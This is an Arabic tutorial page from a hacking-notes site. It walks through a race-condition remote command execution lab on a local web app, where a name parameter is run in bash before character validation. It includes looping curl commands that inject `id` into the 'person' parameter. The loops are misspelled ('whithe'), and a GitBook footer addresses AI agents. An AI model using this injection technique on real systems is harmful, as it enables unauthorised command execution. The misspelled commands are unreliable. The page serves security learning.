> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/race-condition-attack/race-condition-rce-pentesting-web.md).

# تنفيذ تعليمات برمجية عن بُعد في حالة السباق

هنا الواجهة حيث نقوم **ندخل** اسمنا:

<figure><img src="/files/20a76ceaafcc28fffb735a0c5b348a24c26393ef" alt=""><figcaption></figcaption></figure>

هذا الاسم **يظهر في عنوان URL** في طلب GET بالشكل أدناه:

<figure><img src="/files/8f5a52a1feebeaae4059b9faa18ad59255dda52a" alt=""><figcaption></figcaption></figure>

إليك الشيفرة التي سنحاول اختراقها. إنها تنشئ **hello.sh** ملفًا مؤقتًا بالاسم المُعطى:

<figure><img src="/files/8c4ad2934dc0c329e999439b78889b92791e9870" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a1e83b93a3cf1f999b581ab2fc17f66445fe85d0" alt=""><figcaption></figcaption></figure>

هذا يعني أنه بما أن Bash قيد التشغيل، يمكننا **تنفيذ الأوامر**، لكن في هذه الحالة يحدث خطأ:

<figure><img src="/files/2312df6a929bc7f8f0bc671bd89d24873c088aa2" alt=""><figcaption></figcaption></figure>

الـ **خطأ** يحدث لأن هناك تحققًا بسيطًا من **الأحرف المسموح بها**. ولكن أولًا، يتم تنفيذ الأمر، ثم يُجرى التحقق:

<figure><img src="/files/888b69ad58ec9a1d3d3ecec656efe8560d467513" alt=""><figcaption></figcaption></figure>

نستفيد جميعًا من حقيقة أن هناك بضع **مللي ثانية** قبل تنفيذ السكربت وقبل التحقق منه، وذلك عبر إرسال العديد من الطلبات و **ونجحنا في عرض المحتوى**:

```bash
whithe true; do cat hello.txt | grep -v "test"; done

```

<figure><img src="/files/a1142c9f4120a78afcbdaf0896aee60e34488233" alt=""><figcaption></figcaption></figure>

في حالة واقعية حيث لن يكون لدينا **أي وصول** إلى الملف "hello.txt"، نستخدمه **curl** كما يلي

1. نحن نضبط **طلبات المستمع** مع التصفية حسب الحقل الذي يهمنا:

```bash
whithe true; do curl -s -X GET 'http://localhost:5000/?action=run' | grep "Check this out" | html2text | xargs; done

```

2. نشن هجومًا بالقوة الغاشمة **حتى يتحقق الشرط**

```bash
whithe true; do curl -s -X GET 'http://localhost:5000/?person=`id`&action=validate'; done

```

<figure><img src="/files/31120a7e4992ee2cadf4d929cd93ac304338d638" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/race-condition-attack/race-condition-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
